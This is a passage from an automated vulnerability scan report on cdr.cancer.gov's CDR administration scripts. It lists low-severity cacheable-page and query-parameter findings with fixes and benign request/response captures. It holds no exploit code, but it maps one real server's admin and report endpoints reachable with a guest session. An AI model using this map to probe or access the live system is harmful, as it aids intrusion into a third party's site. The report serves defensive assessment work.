## Issue 33 of 33

## [Low] Query Parameter in SSL Request

| | |
|---|---|
| Issue: | 75448320 |
| Severity: | Low |
| URL: | https://cdr.cancer.gov/cgi-bin/cdr/Filter.py |
| Parameter: | editorial |
| Risk(s): | It may be possible to steal sensitive data such as credit card numbers, social security numbers etc. that are sent unencrypted |
| Fix: | Always use SSL and POST (body) parameters when sending sensitive information. |

### Variant 1 of 3

**Reasoning:**

This content may expose sensitive information.

**Request/Response:**

```
GET /cgi-
bin/cdr/Filter.py?DocId=CDR106085&DocVer=lastp&editorial=true&advisory=false&glosspatient=true&glo
sshp=true&publish=false&approved=true&proposed=false&internal=true&external=true&rsmarkup=true&glo
ssary=false&stdword=false&port=&newdtd=pdqCG.dtd&ispp=false&isqc=false&loeref=false&Filter=name:Pa
ssthrough%20Filter&Filter1=&Filter2=&Filter3=&Filter4=&Filter5=&Filter6=&Filter7=&Filter8=&Filter9
=&Filter10= HTTP/1.1
Accept-Language: en-US
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Referer: https://cdr.cancer.gov/cdrFilter.html
Host: cdr.cancer.gov
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)

HTTP/1.1 200 OK
Content-Type: text/html
Server: Microsoft-IIS/7.5
X-Powered-By: ASP.NET
Date: Tue, 22 Jul 2014 16:39:04 GMT
Connection: close
Content-Length: 105

<Errors>
<Err>getDocString: Unable to find document CDR0000106085, version: -1</Err>
</Errors>
```

## [Low] https://cdr.cancer.gov/cgi-bin/cdr/GeneticConditionMenuMappingReport.py - 2 issue(s)

### Issue 1 of 2

### [Low] Cacheable SSL Page Found

| | |
|---|---|
| Issue: | 75448213 |
| Severity: | Low |
| URL: | https://cdr.cancer.gov/cgi-bin/cdr/GeneticConditionMenuMappingReport.py |
| Risk(s): | It is possible to gather sensitive information about the web application such as usernames, passwords, machine name and/or sensitive file locations |
| Fix: | Prevent caching of SSL pages by adding "Cache-Control: no-store" and "Pragma: no-cache" headers to their responses. |

### Variant 1 of 1

**The following changes were applied to the original request:**

```
- Set path to '/cgi-bin/cdr/GeneticConditionMenuMappingReport.py'
- Set query string to 'Session=guest'
```

**Reasoning:**

The application has responded with a response that indicates the page should be cached, but not ALL cache control headers are set ("Cache-Control: no-store" and either "Pragma: no-cache" or "Cache-Control: no-cache").

**Request/Response:**

```
GET /cgi-bin/cdr/GeneticConditionMenuMappingReport.py ? Session=guest HTTP/1.1
Accept-Language: en-US
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Referer: https://cdr.cancer.gov/cgi-bin/cdr/TerminologyReports.py?Session=guest
Host: cdr.cancer.gov
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)

HTTP/1.1 200 OK
Content-Type: text/html
Server: Microsoft-IIS/7.5
X-Powered-By: ASP.NET
Date: Tue, 22 Jul 2014 17:08:13 GMT
Connection: close
Content-Length: 45467

<html>
<head>
<title>Genetic Condition Menu Mapping Report</title>
<style type='text/css'>
h1 { color: maroon; text-align: center }
th { color: blue }
</style>
</head>
<body>
<h1>Genetic Condition Menu Mapping Report</h1>
<table border='1' cellpadding='2' cellspacing='0'>
<tr>
<th>Genetic Condition Preferred Term</th>
<th>Menu Information (Genetic Syndrome)</th>
<!--<th>Parent Term</th>-->
<th>Related Term</th>
<th>Related Term ID</th>
<th>Menu Information (Cancer Site)</th>
<th>Menu Information (Cancer Type)</th>
</tr>
<t
...
```

## Issue 2 of 2

## [Low] Query Parameter in SSL Request

| | |
|---|---|
| Issue: | 75448291 |
| Severity: | Low |
| URL: | https://cdr.cancer.gov/cgi-bin/cdr/GeneticConditionMenuMappingReport.py |
| Parameter: | Session |
| Risk(s): | It may be possible to steal sensitive data such as credit card numbers, social security numbers etc. that are sent unencrypted |
| Fix: | Always use SSL and POST (body) parameters when sending sensitive information. |

### Variant 1 of 1

**Reasoning:**

This content may expose sensitive information.

**Request/Response:**

```
GET /cgi-bin/cdr/GeneticConditionMenuMappingReport.py?Session=guest HTTP/1.1
Accept-Language: en-US
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Referer: https://cdr.cancer.gov/cgi-bin/cdr/TerminologyReports.py?Session=guest
Host: cdr.cancer.gov
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)

HTTP/1.1 200 OK
Content-Type: text/html
Server: Microsoft-IIS/7.5
X-Powered-By: ASP.NET
Date: Tue, 22 Jul 2014 16:28:06 GMT
Connection: close
Content-Length: 45467

<html>
<head>
<title>Genetic Condition Menu Mapping Report</title>
<style type='text/css'>
h1 { color: maroon; text-align: center }
th { color: blue }
</style>
</head>
<body>
<h1>Genetic Condition Menu Mapping Report</h1>
<table border='1' cellpadding='2' cellspacing='0'>
<tr>
<th>Genetic Condition Preferred Term</th>
<th>Menu Information (Genetic Syndrome)</th>
<!--<th>Parent Term</th>-->
<th>Related Term</th>
<th>Related Term ID</th>
<th>Menu Information (Cancer Site)</th>
<th>Menu Information (Cancer Type)</th>
</tr>
<t
...
```

## [Low] https://cdr.cancer.gov/cgi-bin/cdr/GuestUsers.py - 2 issue(s)

### Issue 1 of 2

## [Low] Query Parameter in SSL Request

| | |
|---|---|
| Issue: | 75448154 |
| Severity: | Low |
| URL: | https://cdr.cancer.gov/cgi-bin/cdr/GuestUsers.py |
| Parameter: | Session |
| Risk(s): | It may be possible to steal sensitive data such as credit card numbers, social security numbers etc. that are sent unencrypted |
| Fix: | Always use SSL and POST (body) parameters when sending sensitive information. |

### Variant 1 of 1

**Reasoning:**

This content may expose sensitive information.

**Request/Response:**

```
GET /cgi-bin/cdr/GuestUsers.py?Session=guest HTTP/1.1
Accept-Language: en-US
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Referer: https://cdr.cancer.gov/cgi-bin/cdr/Admin.py
Host: cdr.cancer.gov
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)

HTTP/1.1 200 OK
Content-Type: text/html
Server: Microsoft-IIS/7.5
X-Powered-By: ASP.NET
Date: Tue, 22 Jul 2014 16:26:02 GMT
Connection: close
Content-Length: 2601

<!DOCTYPE HTML PUBLIC '-//W3C//DTD HTML 4.01 Transitional//EN'
'http://www.w3.org/TR/html4/loose.dtd'>
<HTML>
<HEAD>
<TITLE>CDR Administration</TITLE>
<meta http-equiv='Content-Type' content='text/html;charset=utf-8'>
<link rel='shortcut icon' href='/favicon.ico'>
<LINK TYPE='text/css' REL='STYLESHEET' HREF='/stylesheets/dataform.css'>
<style type='text/css'>
body { background-color: #DFDFDF; }
*.banner { background-color: silver;
background-image: url(/images/nav1.jpg); }
*.DTDerror { color: red;

...
```

## Issue 2 of 2

## [Low] Cacheable SSL Page Found

| | |
|---|---|
| Issue: | 75448198 |
| Severity: | Low |
| URL: | https://cdr.cancer.gov/cgi-bin/cdr/GuestUsers.py |
| Risk(s): | It is possible to gather sensitive information about the web application such as usernames, passwords, machine name and/or sensitive file locations |
| Fix: | Prevent caching of SSL pages by adding "Cache-Control: no-store" and "Pragma: no-cache" headers to their responses. |

### Variant 1 of 1

**The following changes were applied to the original request:**

```
- Set path to '/cgi-bin/cdr/GuestUsers.py'
- Set query string to 'Session=guest'
```

**Reasoning:**

```
The application has responded with a response that indicates the page should be cached, but not
ALL cache control headers are set ("Cache-Control: no-store" and either "Pragma: no-cache" or
"Cache-Control: no-cache").
```

**Request/Response:**

```
GET /cgi-bin/cdr/GuestUsers.py ? Session=guest HTTP/1.1
Accept-Language: en-US
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Referer: https://cdr.cancer.gov/cgi-bin/cdr/Admin.py
Host: cdr.cancer.gov
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)

HTTP/1.1 200 OK
Content-Type: text/html
Server: Microsoft-IIS/7.5
X-Powered-By: ASP.NET
Date: Tue, 22 Jul 2014 16:42:03 GMT
Connection: close
Content-Length: 2601

<!DOCTYPE HTML PUBLIC '-//W3C//DTD HTML 4.01 Transitional//EN'
'http://www.w3.org/TR/html4/loose.dtd'>
<HTML>
<HEAD>
<TITLE>CDR Administration</TITLE>
<meta http-equiv='Content-Type' content='text/html;charset=utf-8'>
<link rel='shortcut icon' href='/favicon.ico'>
<LINK TYPE='text/css' REL='STYLESHEET' HREF='/stylesheets/dataform.css'>
<style type='text/css'>
body { background-color: #DFDFDF; }
*.banner { background-color: silver;
background-image: url(/images/nav1.jpg); }
*.DTDerror { color: red;

...
```

## [Low] https://cdr.cancer.gov/cgi-bin/cdr/InterventionAndProcedureTerms.py - 3 issue(s)

### Issue 1 of 3

### [Low] Query Parameter in SSL Request

| | |
|---|---|
| Issue: | 75448046 |
| Severity: | Low |
| URL: | https://cdr.cancer.gov/cgi-bin/cdr/InterventionAndProcedureTerms.py |
| Parameter: | IncludeAlternateNames |
| Risk(s): | It may be possible to steal sensitive data such as credit card numbers, social security numbers etc. that are sent unencrypted |
| Fix: | Always use SSL and POST (body) parameters when sending sensitive information. |

### Variant 1 of 1

**Reasoning:**

This content may expose sensitive information.

**Request/Response:**

```
GET /cgi-bin/cdr/InterventionAndProcedureTerms.py?Session=guest&IncludeAlternateNames=True
HTTP/1.1
Accept-Language: en-US
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Referer: https://cdr.cancer.gov/cgi-bin/cdr/TerminologyReports.py?Session=guest
Host: cdr.cancer.gov
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)

HTTP/1.1 200 OK
Content-Type: text/html
Server: Microsoft-IIS/7.5
X-Powered-By: ASP.NET
Date: Tue, 22 Jul 2014 16:28:08 GMT
Connection: close
Content-Length: 159326

<html>
<head>
<title>CDR Intervention and Procedure Index Terms</title>
<style type = 'text/css'>
h1 { color: navy; font-size: 14: font-weight: bold;
font-family: Arial, Helvetica, sans-serif; }
li.st { color: green; font-size: 14; font-weight: bold; list-style: none;
font-family: serif; font-variant: small-caps; }
li.t { color: blue; font-size: 14; list-style: none; font-weight: normal;
font-family: Arial, Helvetica, sans-serif; font-variant: normal }
li.a { color: #FF2222; font-size: 12; list-style: none;
font-weight: normal
...
```

## Issue 2 of 3

## [Low] Cacheable SSL Page Found

| | |
|---|---|
| Issue: | 75448176 |
| Severity: | Low |
| URL: | https://cdr.cancer.gov/cgi-bin/cdr/InterventionAndProcedureTerms.py |
| Risk(s): | It is possible to gather sensitive information about the web application such as usernames, passwords, machine name and/or sensitive file locations |
| Fix: | Prevent caching of SSL pages by adding "Cache-Control: no-store" and "Pragma: no-cache" headers to their responses. |

### Variant 1 of 2

**The following changes were applied to the original request:**

```
- Set path to '/cgi-bin/cdr/InterventionAndProcedureTerms.py'
- Set query string to 'Session=guest&IncludeAlternateNames=True'
```

**Reasoning:**

The application has responded with a response that indicates the page should be cached, but not ALL cache control headers are set ("Cache-Control: no-store" and either "Pragma: no-cache" or "Cache-Control: no-cache").

**Request/Response:**

```
GET /cgi-bin/cdr/InterventionAndProcedureTerms.py ? Session=guest&IncludeAlternateNames=True
HTTP/1.1
Accept-Language: en-US
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Referer: https://cdr.cancer.gov/cgi-bin/cdr/TerminologyReports.py?Session=guest
Host: cdr.cancer.gov
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)

HTTP/1.1 200 OK
Content-Type: text/html
Server: Microsoft-IIS/7.5
X-Powered-By: ASP.NET
Date: Tue, 22 Jul 2014 17:08:50 GMT
Connection: close
Content-Length: 159326

<html>
<head>
<title>CDR Intervention and Procedure Index Terms</title>
<style type = 'text/css'>
h1 { color: navy; font-size: 14: font-weight: bold;
font-family: Arial, Helvetica, sans-serif; }
li.st { color: green; font-size: 14; font-weight: bold; list-style: none;
font-family: serif; font-variant: small-caps; }
li.t { color: blue; font-size: 14; list-style: none; font-weight: normal;
font-family: Arial, Helvetica, sans-serif; font-variant: normal }
li.a { color: #FF2222; font-size: 12; list-style: none;
font-weight: normal
...
```

## Issue 3 of 3

## [Low] Query Parameter in SSL Request

| | |
|---|---|
| Issue: | 75448311 |
| Severity: | Low |
| URL: | https://cdr.cancer.gov/cgi-bin/cdr/InterventionAndProcedureTerms.py |
| Parameter: | Session |
| Risk(s): | It may be possible to steal sensitive data such as credit card numbers, social security numbers etc. that are sent unencrypted |
| Fix: | Always use SSL and POST (body) parameters when sending sensitive information. |

### Variant 1 of 1

**Reasoning:**

This content may expose sensitive information.

**Request/Response:**

```
GET /cgi-bin/cdr/InterventionAndProcedureTerms.py?Session=guest&IncludeAlternateNames=True
HTTP/1.1
Accept-Language: en-US
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Referer: https://cdr.cancer.gov/cgi-bin/cdr/TerminologyReports.py?Session=guest
Host: cdr.cancer.gov
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)

HTTP/1.1 200 OK
Content-Type: text/html
Server: Microsoft-IIS/7.5
X-Powered-By: ASP.NET
Date: Tue, 22 Jul 2014 16:28:08 GMT
Connection: close
Content-Length: 159326

<html>
<head>
<title>CDR Intervention and Procedure Index Terms</title>
<style type = 'text/css'>
h1 { color: navy; font-size: 14: font-weight: bold;
font-family: Arial, Helvetica, sans-serif; }
li.st { color: green; font-size: 14; font-weight: bold; list-style: none;
font-family: serif; font-variant: small-caps; }
li.t { color: blue; font-size: 14; list-style: none; font-weight: normal;
font-family: Arial, Helvetica, sans-serif; font-variant: normal }
li.a { color: #FF2222; font-size: 12; list-style: none;
font-weight: normal
...
```

## [Low] https://cdr.cancer.gov/cgi-bin/cdr/Logout.py - 2 issue(s)

### Issue 1 of 2

### [Low] Cacheable SSL Page Found

| | |
|---|---|
| Issue: | 75448137 |
| Severity: | Low |
| URL: | https://cdr.cancer.gov/cgi-bin/cdr/Logout.py |
| Risk(s): | It is possible to gather sensitive information about the web application such as usernames, passwords, machine name and/or sensitive file locations |
| Fix: | Prevent caching of SSL pages by adding "Cache-Control: no-store" and "Pragma: no-cache" headers to their responses. |

### Variant 1 of 1

**The following changes were applied to the original request:**

```
- Set path to '/cgi-bin/cdr/Logout.py'
- Set query string to 'Session=guest'
```

**Reasoning:**

The application has responded with a response that indicates the page should be cached, but not ALL cache control headers are set ("Cache-Control: no-store" and either "Pragma: no-cache" or "Cache-Control: no-cache").

**Request/Response:**

```
GET /cgi-bin/cdr/Logout.py ? Session=guest HTTP/1.1
Accept-Language: en-US
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Referer: https://cdr.cancer.gov/cgi-bin/cdr/Admin.py
Host: cdr.cancer.gov
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)

HTTP/1.1 200 OK
Content-Type: text/html
Server: Microsoft-IIS/7.5
X-Powered-By: ASP.NET
Date: Tue, 22 Jul 2014 16:42:10 GMT
Connection: close
Content-Length: 2397

<!DOCTYPE HTML PUBLIC '-//W3C//DTD HTML 4.01 Transitional//EN'
'http://www.w3.org/TR/html4/loose.dtd'>
<HTML>
<HEAD>
<TITLE>CDR Administration</TITLE>
<meta http-equiv='Content-Type' content='text/html;charset=utf-8'>
<link rel='shortcut icon' href='/favicon.ico'>
<LINK TYPE='text/css' REL='STYLESHEET' HREF='/stylesheets/dataform.css'>
<style type='text/css'>
body { background-color: #DFDFDF; }
*.banner { background-color: silver;
background-image: url(/images/nav1.jpg); }
*.DTDerror { color: red;

...
```

## Issue 2 of 2

## [Low] Query Parameter in SSL Request

| | |
|---|---|
| Issue: | 75448143 |
| Severity: | Low |
| URL: | https://cdr.cancer.gov/cgi-bin/cdr/Logout.py |
| Parameter: | Session |
| Risk(s): | It may be possible to steal sensitive data such as credit card numbers, social security numbers etc. that are sent unencrypted |
| Fix: | Always use SSL and POST (body) parameters when sending sensitive information. |

### Variant 1 of 1

**Reasoning:**

This content may expose sensitive information.

**Request/Response:**

```
GET /cgi-bin/cdr/Logout.py?Session=guest HTTP/1.1
Accept-Language: en-US
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Referer: https://cdr.cancer.gov/cgi-bin/cdr/Admin.py
Host: cdr.cancer.gov
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)

HTTP/1.1 200 OK
Content-Type: text/html
Server: Microsoft-IIS/7.5
X-Powered-By: ASP.NET
Date: Tue, 22 Jul 2014 16:26:02 GMT
Connection: close
Content-Length: 2397

<!DOCTYPE HTML PUBLIC '-//W3C//DTD HTML 4.01 Transitional//EN'
'http://www.w3.org/TR/html4/loose.dtd'>
<HTML>
<HEAD>
<TITLE>CDR Administration</TITLE>
<meta http-equiv='Content-Type' content='text/html;charset=utf-8'>
<link rel='shortcut icon' href='/favicon.ico'>
<LINK TYPE='text/css' REL='STYLESHEET' HREF='/stylesheets/dataform.css'>
<style type='text/css'>
body { background-color: #DFDFDF; }
*.banner { background-color: silver;
background-image: url(/images/nav1.jpg); }
*.DTDerror { color: red;

...
```

## [Low] https://cdr.cancer.gov/cgi-bin/cdr/MediaReports.py - 2 issue(s)

### Issue 1 of 2

### [Low] Cacheable SSL Page Found

| | |
|---|---|
| Issue: | 75448144 |
| Severity: | Low |
| URL: | https://cdr.cancer.gov/cgi-bin/cdr/MediaReports.py |
| Risk(s): | It is possible to gather sensitive information about the web application such as usernames, passwords, machine name and/or sensitive file locations |
| Fix: | Prevent caching of SSL pages by adding "Cache-Control: no-store" and "Pragma: no-cache" headers to their responses. |

### Variant 1 of 1

**The following changes were applied to the original request:**

```
- Set path to '/cgi-bin/cdr/MediaReports.py'
- Set query string to 'Session=None'
```

**Reasoning:**

```
The application has responded with a response that indicates the page should be cached, but not
ALL cache control headers are set ("Cache-Control: no-store" and either "Pragma: no-cache" or
"Cache-Control: no-cache").
```

**Request/Response:**

```
GET /cgi-bin/cdr/MediaReports.py ? Session=None HTTP/1.1
Accept-Language: en-US
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Referer: https://cdr.cancer.gov/cgi-bin/cdr/Reports.py
Host: cdr.cancer.gov
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)

HTTP/1.1 200 OK
Content-Type: text/html
Server: Microsoft-IIS/7.5
X-Powered-By: ASP.NET
Date: Tue, 22 Jul 2014 17:48:20 GMT
Connection: close
Content-Length: 2275

<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<title>CDR Administration</title>
<link href="/favicon.ico" rel="icon">
<link href="/stylesheets/CdrCalendar.css" rel="stylesheet">
<link href="/stylesheets/cdr.css" rel="stylesheet">
<script src="/js/jquery.js"></script>
<script src="/js/CdrCalendar.js"></script>
</head>
<body class="admin-menu">
<form action="/cgi-bin/cdr/Reports.py" method="post">
<header>
<h1>CDR Administration
<span>
<input type="submit" name="Request" value="Reports Menu">

...
```

## Issue 2 of 2

## [Low] Query Parameter in SSL Request

| | |
|---|---|
| Issue: | 75448211 |
| Severity: | Low |
| URL: | https://cdr.cancer.gov/cgi-bin/cdr/MediaReports.py |
| Parameter: | Session |
| Risk(s): | It may be possible to steal sensitive data such as credit card numbers, social security numbers etc. that are sent unencrypted |
| Fix: | Always use SSL and POST (body) parameters when sending sensitive information. |

### Variant 1 of 1

**Reasoning:**

This content may expose sensitive information.

**Request/Response:**

```
GET /cgi-bin/cdr/MediaReports.py?Session=None HTTP/1.1
Accept-Language: en-US
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Referer: https://cdr.cancer.gov/cgi-bin/cdr/Reports.py
Host: cdr.cancer.gov
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)

HTTP/1.1 200 OK
Content-Type: text/html
Server: Microsoft-IIS/7.5
X-Powered-By: ASP.NET
Date: Tue, 22 Jul 2014 16:31:52 GMT
Connection: close
Content-Length: 2275

<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<title>CDR Administration</title>
<link href="/favicon.ico" rel="icon">
<link href="/stylesheets/CdrCalendar.css" rel="stylesheet">
<link href="/stylesheets/cdr.css" rel="stylesheet">
<script src="/js/jquery.js"></script>
<script src="/js/CdrCalendar.js"></script>
</head>
<body class="admin-menu">
<form action="/cgi-bin/cdr/Reports.py" method="post">
<header>
<h1>CDR Administration
<span>
<input type="submit" name="Request" value="Reports Menu">

...
```

## [Low] https://cdr.cancer.gov/cgi-bin/cdr/ocecdr-3704.py - 2 issue(s)

### Issue 1 of 2

## [Low] Query Parameter in SSL Request

| | |
|---|---|
| Issue: | 75448145 |
| Severity: | Low |
| URL: | https://cdr.cancer.gov/cgi-bin/cdr/ocecdr-3704.py |
| Parameter: | Session |
| Risk(s): | It may be possible to steal sensitive data such as credit card numbers, social security numbers etc. that are sent unencrypted |
| Fix: | Always use SSL and POST (body) parameters when sending sensitive information. |

### Variant 1 of 1

**Reasoning:**

This content may expose sensitive information.

**Request/Response:**

```
GET /cgi-bin/cdr/ocecdr-3704.py?Session=None HTTP/1.1
Accept-Language: en-US
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Referer: https://cdr.cancer.gov/cgi-bin/cdr/MediaReports.py?Session=None
Host: cdr.cancer.gov
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)

HTTP/1.1 200 OK
Content-Type: text/html
Server: Microsoft-IIS/7.5
X-Powered-By: ASP.NET
Date: Tue, 22 Jul 2014 16:41:05 GMT
Connection: close
Content-Length: 11272

<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<title>CDR Administration</title>
<link href="/favicon.ico" rel="icon">
<link href="/stylesheets/CdrCalendar.css" rel="stylesheet">
<link href="/stylesheets/cdr.css" rel="stylesheet">
<script src="/js/jquery.js"></script>
<script src="/js/CdrCalendar.js"></script>
</head>
<body>
<form action="/cgi-bin/cdr/ocecdr-3704.py" method="post">
<header>
<h1>CDR Administration
<span>
<input type="submit" name="Request" value="Submit">
<input type="su
...
```

## Issue 2 of 2

## [Low] Cacheable SSL Page Found

| | |
|---|---|
| Issue: | 75448239 |
| Severity: | Low |
| URL: | https://cdr.cancer.gov/cgi-bin/cdr/ocecdr-3704.py |
| Risk(s): | It is possible to gather sensitive information about the web application such as usernames, passwords, machine name and/or sensitive file locations |
| Fix: | Prevent caching of SSL pages by adding "Cache-Control: no-store" and "Pragma: no-cache" headers to their responses. |

### Variant 1 of 2

**The following changes were applied to the original request:**

```
- Set path to '/cgi-bin/cdr/ocecdr-3704.py'
- Set query string to 'Session=None'
```

**Reasoning:**

```
The application has responded with a response that indicates the page should be cached, but not
ALL cache control headers are set ("Cache-Control: no-store" and either "Pragma: no-cache" or
"Cache-Control: no-cache").
```

**Request/Response:**

```
GET /cgi-bin/cdr/ocecdr-3704.py ? Session=None HTTP/1.1
Accept-Language: en-US
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Referer: https://cdr.cancer.gov/cgi-bin/cdr/MediaReports.py?Session=None
Host: cdr.cancer.gov
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)

HTTP/1.1 200 OK
Content-Type: text/html
Server: Microsoft-IIS/7.5
X-Powered-By: ASP.NET
Date: Tue, 22 Jul 2014 19:16:22 GMT
Connection: close
Content-Length: 11272

<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<title>CDR Administration</title>
<link href="/favicon.ico" rel="icon">
<link href="/stylesheets/CdrCalendar.css" rel="stylesheet">
<link href="/stylesheets/cdr.css" rel="stylesheet">
<script src="/js/jquery.js"></script>
<script src="/js/CdrCalendar.js"></script>
</head>
<body>
<form action="/cgi-bin/cdr/ocecdr-3704.py" method="post">
<header>
<h1>CDR Administration
<span>
<input type="submit" name="Request" value="Submit">
<input type="su
...
```

## [Low] https://cdr.cancer.gov/cgi-bin/cdr/ShowGlobalChangeTestResults.py - 3 issue(s)

### Issue 1 of 3

### [Low] Cacheable SSL Page Found

| | |
|---|---|
| Issue: | 75448138 |
| Severity: | Low |
| URL: | https://cdr.cancer.gov/cgi-bin/cdr/ShowGlobalChangeTestResults.py |
| Risk(s): | It is possible to gather sensitive information about the web application such as usernames, passwords, machine name and/or sensitive file locations |
| Fix: | Prevent caching of SSL pages by adding "Cache-Control: no-store" and "Pragma: no-cache" headers to their responses. |

### Variant 1 of 5

**The following changes were applied to the original request:**

```
- Set path to '/cgi-bin/cdr/ShowGlobalChangeTestResults.py'
- Set query string to 'Session=None'
```

**Reasoning:**

The application has responded with a response that indicates the page should be cached, but not ALL cache control headers are set ("Cache-Control: no-store" and either "Pragma: no-cache" or "Cache-Control: no-cache").

**Request/Response:**

```
GET /cgi-bin/cdr/ShowGlobalChangeTestResults.py ? Session=None HTTP/1.1
Accept-Language: en-US
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Referer: https://cdr.cancer.gov/cgi-bin/cdr/GeneralReports.py?Session=None
Host: cdr.cancer.gov
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)

HTTP/1.1 200 OK
Content-Type: text/html
Server: Microsoft-IIS/7.5
X-Powered-By: ASP.NET
Date: Tue, 22 Jul 2014 19:03:35 GMT
Connection: close
Content-Length: 1367

<html>
<head>
<title>Global Change Test Results</title>
<style type='text/css'>
body { font-family: Arial }
</style>
</head>
<body>
<h3>Select Global Change Test Run</h3>
<a href='ShowGlobalChangeTestResults.py?dir=2014-02-02 15-11-34'>2014-02-02 15:11:34</a><br />
<a href='ShowGlobalChangeTestResults.py?dir=2013-11-26 18-33-32'>2013-11-26 18:33:32</a><br />
<a href='ShowGlobalChangeTestResults.py?dir=2013-10-15 21-07-45'>2013-10-15 21:07:45</a><br />
<a href='ShowGlobalChangeTestResults.py?dir=2013-10-15_18-23-34'>2013-10-15 18:23:34</a><br />
<a href='ShowGlobalCha
...
```

## Issue 2 of 3

## [Low] Query Parameter in SSL Request

| | |
|---|---|
| Issue: | 75448173 |
| Severity: | Low |
| URL: | https://cdr.cancer.gov/cgi-bin/cdr/ShowGlobalChangeTestResults.py |
| Parameter: | dir |
| Risk(s): | It may be possible to steal sensitive data such as credit card numbers, social security numbers etc. that are sent unencrypted |
| Fix: | Always use SSL and POST (body) parameters when sending sensitive information. |

### Variant 1 of 1

**Reasoning:**

This content may expose sensitive information.

**Request/Response:**

```
GET /cgi-bin/cdr/ShowGlobalChangeTestResults.py?dir=2013-11-26_18-33-32 HTTP/1.1
Accept-Language: en-US
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Referer: https://cdr.cancer.gov/cgi-bin/cdr/ShowGlobalChangeTestResults.py?Session=None
Host: cdr.cancer.gov
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)

HTTP/1.1 200 OK
Content-Type: text/html
Server: Microsoft-IIS/7.5
X-Powered-By: ASP.NET
Date: Tue, 22 Jul 2014 16:39:22 GMT
Connection: close
Content-Length: 534774

<html>
<head>
<title>Global Change Test Results</title>
<style type='text/css'>
body { font-family: Arial }
</style>
</head>
<body>
<form method='post' action='ShowGlobalChangeTestResults.py'>
<center>
<input type='hidden' name='reSortDir' value='2013-11-26_18-33-32' />
<input type='submit' name='reSort' value='Sort By' />
<input type='radio' name='sortBy' value='byCdrId'>CDR ID</input>
<input type='radio' name='sortBy' value='byDiff' checked='1'>CWD diff size</input>
<input type='radio' name='sortBy' value='byCwdSize'>New file size</input>
</center>
</form>
...
```

## Issue 3 of 3

## [Low] Query Parameter in SSL Request

| | |
|---|---|
| Issue: | 75448272 |
| Severity: | Low |
| URL: | https://cdr.cancer.gov/cgi-bin/cdr/ShowGlobalChangeTestResults.py |
| Parameter: | Session |
| Risk(s): | It may be possible to steal sensitive data such as credit card numbers, social security numbers etc. that are sent unencrypted |
| Fix: | Always use SSL and POST (body) parameters when sending sensitive information. |

### Variant 1 of 1

**Reasoning:**

This content may expose sensitive information.

**Request/Response:**

```
GET /cgi-bin/cdr/ShowGlobalChangeTestResults.py?Session=None HTTP/1.1
Accept-Language: en-US
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Referer: https://cdr.cancer.gov/cgi-bin/cdr/GeneralReports.py?Session=None
Host: cdr.cancer.gov
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)

HTTP/1.1 200 OK
Content-Type: text/html
Server: Microsoft-IIS/7.5
X-Powered-By: ASP.NET
Date: Tue, 22 Jul 2014 16:38:13 GMT
Connection: close
Content-Length: 1367

<html>
<head>
<title>Global Change Test Results</title>
<style type='text/css'>
body { font-family: Arial }
</style>
</head>
<body>
<h3>Select Global Change Test Run</h3>
<a href='ShowGlobalChangeTestResults.py?dir=2014-02-02 15-11-34'>2014-02-02 15:11:34</a><br />
<a href='ShowGlobalChangeTestResults.py?dir=2013-11-26 18-33-32'>2013-11-26 18:33:32</a><br />
<a href='ShowGlobalChangeTestResults.py?dir=2013-10-15 21-07-45'>2013-10-15 21:07:45</a><br />
<a href='ShowGlobalChangeTestResults.py?dir=2013-10-15_18-23-34'>2013-10-15 18:23:34</a><br />
<a href='ShowGlobalCha
...
```

## [Low] https://cdr.cancer.gov/cgi-bin/cdr/TerminologyReports.py - 3 issue(s)

### Issue 1 of 3

### [Low] Cacheable SSL Page Found

| | |
|---|---|
| Issue: | 75448090 |
| Severity: | Low |
| URL: | https://cdr.cancer.gov/cgi-bin/cdr/TerminologyReports.py |
| Risk(s): | It is possible to gather sensitive information about the web application such as usernames, passwords, machine name and/or sensitive file locations |
| Fix: | Prevent caching of SSL pages by adding "Cache-Control: no-store" and "Pragma: no-cache" headers to their responses. |

### Variant 1 of 2

**The following changes were applied to the original request:**

```
- Set path to '/cgi-bin/cdr/TerminologyReports.py'
- Set query string to 'Session=guest'
```

**Reasoning:**

